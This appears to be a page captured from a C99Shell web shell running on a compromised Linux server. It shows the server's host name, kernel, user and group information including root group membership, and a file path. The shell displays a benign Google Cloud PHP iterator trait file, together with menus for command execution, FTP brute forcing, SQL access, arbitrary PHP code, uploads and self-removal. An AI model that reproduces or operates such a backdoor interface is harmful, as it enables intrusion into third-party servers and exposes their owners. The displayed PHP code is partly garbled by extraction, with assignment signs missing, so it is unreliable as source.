!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/multirest.picotech.app/public_html/vendor/google/cloud-core/src/Iterator/   drwxr-xr-x
Free 29.26 GB of 117.98 GB (24.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ItemIteratorTrait.php (3.27 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Copyright 2017 Google Inc. All Rights Reserved.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

namespace Google\Cloud\Core\Iterator;

/**
 * This trait fulfills the
 * [\Iterator](http://php.net/manual/en/class.iterator.php) interface and
 * returns results from a paged set one at a time.
 */
trait ItemIteratorTrait
{
    
/**
     * @var \Iterator
     */
    
private $pageIterator;

    
/**
     * @var int
     */
    
private $pageIndex 0;

    
/**
     * @var int
     */
    
private $position 0;

    
/**
     * @param \Iterator $pageIterator
     */
    
public function __construct(\Iterator $pageIterator)
    {
        
$this->pageIterator $pageIterator;
    }

    
/**
     * Fetch the token used to get the next set of results.
     *
     * @return string|null
     */
    
public function nextResultToken()
    {
        return 
method_exists($this->pageIterator'nextResultToken')
            ? 
$this->pageIterator->nextResultToken()
            : 
null;
    }

    
/**
     * Iterate over the results on a per page basis.
     *
     * @return \Iterator
     */
    
public function iterateByPage()
    {
        return 
$this->pageIterator;
    }

    
/**
     * Rewind the iterator.
     *
     * @return null
     */
    
public function rewind()
    {
        
$this->pageIndex 0;
        
$this->position 0;
        
$this->pageIterator->rewind();
    }

    
/**
     * Get the current item.
     *
     * @return mixed
     */
    
public function current()
    {
        
$page $this->pageIterator->current();

        return isset(
$page[$this->pageIndex])
            ? 
$page[$this->pageIndex]
            : 
null;
    }

    
/**
     * Get the key current item's key.
     *
     * @return int
     */
    
public function key()
    {
        return 
$this->position;
    }

    
/**
     * Advances to the next item.
     *
     * @return null
     */
    
public function next()
    {
        
$this->pageIndex++;
        
$this->position++;

        if (
count($this->pageIterator->current()) <= $this->pageIndex && $this->nextResultToken()) {
            
$this->pageIterator->next();
            
$this->pageIndex 0;
        }
    }

    
/**
     * Determines if the current position is valid.
     *
     * @return bool
     */
    
public function valid()
    {
        
$page $this->pageIterator->current();

        if (isset(
$page[$this->pageIndex])) {
            return 
true;
        }

        
// If there are no results, but a token for the next page
        // exists let's continue paging until there are results.
        
while ($this->nextResultToken()) {
            
$this->pageIterator->next();
            
$page $this->pageIterator->current();

            if (isset(
$page[$this->pageIndex])) {
                return 
true;
            }
        }

        return 
false;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--